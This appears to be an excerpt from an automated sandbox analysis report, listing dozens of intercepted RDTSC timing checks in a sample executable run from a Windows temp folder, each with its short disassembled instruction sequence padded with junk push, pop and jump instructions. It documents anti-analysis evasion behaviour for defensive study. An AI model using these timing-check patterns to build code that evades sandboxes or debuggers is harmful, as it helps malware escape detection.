Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5282 second address: 8D5286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5286 second address: 8D5292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F51C5190FD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5292 second address: 8D5298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5298 second address: 8D52A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F51C5190FD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D52A2 second address: 8D52CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jne 00007F51C4516316h 0x00000011 pop edi 0x00000012 jmp 00007F51C4516328h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D52CC second address: 8D52D6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F51C5190FDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D544B second address: 8D5451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5771 second address: 8D5776 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D5776 second address: 8D5783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F51C451631Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D43A2 second address: 8D43A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D43A8 second address: 8D43B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8D43B4 second address: 8D43E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F51C5190FD6h 0x0000000a popad 0x0000000b popad 0x0000000c jo 00007F51C519102Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F51C5190FE8h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6C9 second address: 8DD6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6CD second address: 8DD6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6D1 second address: 8DD6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6D7 second address: 8DD6E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F51C5190FD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6E1 second address: 8DD6FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8DD6FB second address: 8DD6FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8E0679 second address: 8E067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8E067D second address: 8E06A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F51C5190FD6h 0x00000010 jc 00007F51C5190FD6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8E00C3 second address: 8E00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F51C4516316h 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F51C4516316h 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 jns 00007F51C451631Ah 0x0000001d push eax 0x0000001e push edx 0x0000001f jbe 00007F51C4516316h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8E00EE second address: 8E00F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EB18B second address: 8EB1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F51C451631Ch 0x0000000d jno 00007F51C4516316h 0x00000013 jne 00007F51C4516316h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EB1AD second address: 8EB1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F51C5190FE6h 0x0000000a popad 0x0000000b push esi 0x0000000c jng 00007F51C5190FE2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EB1D2 second address: 8EB1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE75D second address: 8EE766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE766 second address: 8EE784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE784 second address: 8EE796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FDCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE180 second address: 8EE184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE184 second address: 8EE19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F51C5190FD6h 0x00000010 jnc 00007F51C5190FD6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE19A second address: 8EE1BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F51C4516316h 0x0000000e jmp 00007F51C4516325h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8EE1BD second address: 8EE1C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8307BC second address: 8307C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8307C6 second address: 8307DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop esi 0x0000000a push ecx 0x0000000b jno 00007F51C5190FD8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8307DD second address: 8307E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8307E1 second address: 8307E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 90750F second address: 907515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907515 second address: 90755A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C5190FE3h 0x00000009 popad 0x0000000a je 00007F51C5190FE2h 0x00000010 jmp 00007F51C5190FDAh 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 jo 00007F51C5191015h 0x0000001e pushad 0x0000001f jmp 00007F51C5190FE1h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907881 second address: 907887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907887 second address: 9078A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F51C5190FDBh 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9078A4 second address: 9078AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9078AA second address: 9078B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907DE9 second address: 907DFB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F51C4516316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F51C4516322h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907DFB second address: 907E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F51C5190FD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907E05 second address: 907E1B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jns 00007F51C4516316h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907E1B second address: 907E48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE2h 0x00000007 jmp 00007F51C5190FE7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907FC7 second address: 907FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451631Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 907FD6 second address: 907FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 90C5A4 second address: 90C5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 90C5AA second address: 90C5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8322D7 second address: 8322E1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F51C451631Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8322E1 second address: 8322EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917ECD second address: 917ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917ED1 second address: 917F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F51C5190FF5h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F51C5190FD6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917F06 second address: 917F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F51C451631Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917F20 second address: 917F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917F24 second address: 917F50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51C451631Ah 0x00000011 push esi 0x00000012 push edx 0x00000013 pop edx 0x00000014 jnp 00007F51C4516316h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917F50 second address: 917F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F51C5190FDBh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 917F69 second address: 917F6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92AA51 second address: 92AA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92AA58 second address: 92AA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92CAC5 second address: 92CACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92C606 second address: 92C622 instructions: 0x00000000 rdtsc 0x00000002 js 00007F51C4516316h 0x00000008 jl 00007F51C4516316h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F51C451631Ah 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92C622 second address: 92C62C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F51C5190FD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92C62C second address: 92C632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 92C7CF second address: 92C7ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F51C5190FDEh 0x0000000e jo 00007F51C5190FD6h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9452A4 second address: 9452B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F51C451631Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9452B8 second address: 9452BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9459EF second address: 9459F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 9459F3 second address: 9459F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 945F8A second address: 945F8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 945F8F second address: 945FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F51C5190FE9h 0x0000000b jno 00007F51C5190FD6h 0x00000011 jmp 00007F51C5190FE7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 pop ebx 0x00000021 jg 00007F51C5190FDAh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94B8CA second address: 94B8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94D202 second address: 94D211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F51C5190FDAh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94D211 second address: 94D21A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94D21A second address: 94D220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94F089 second address: 94F0A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F51C4516328h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 94F0A9 second address: 94F0AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE002F second address: 4EE0035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE0035 second address: 4EE006E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F51C5190FE8h 0x00000012 sbb esi, 5AA33128h 0x00000018 jmp 00007F51C5190FDBh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE006E second address: 4EE0073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE0073 second address: 4EE0096 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f mov ch, 67h 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE0096 second address: 4EE00AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE00AA second address: 4EE00BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C5190FDEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0EFA second address: 4EC0EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0EFE second address: 4EC0F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0F04 second address: 4EC0F23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451631Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51C451631Eh 0x00000011 rdtsc
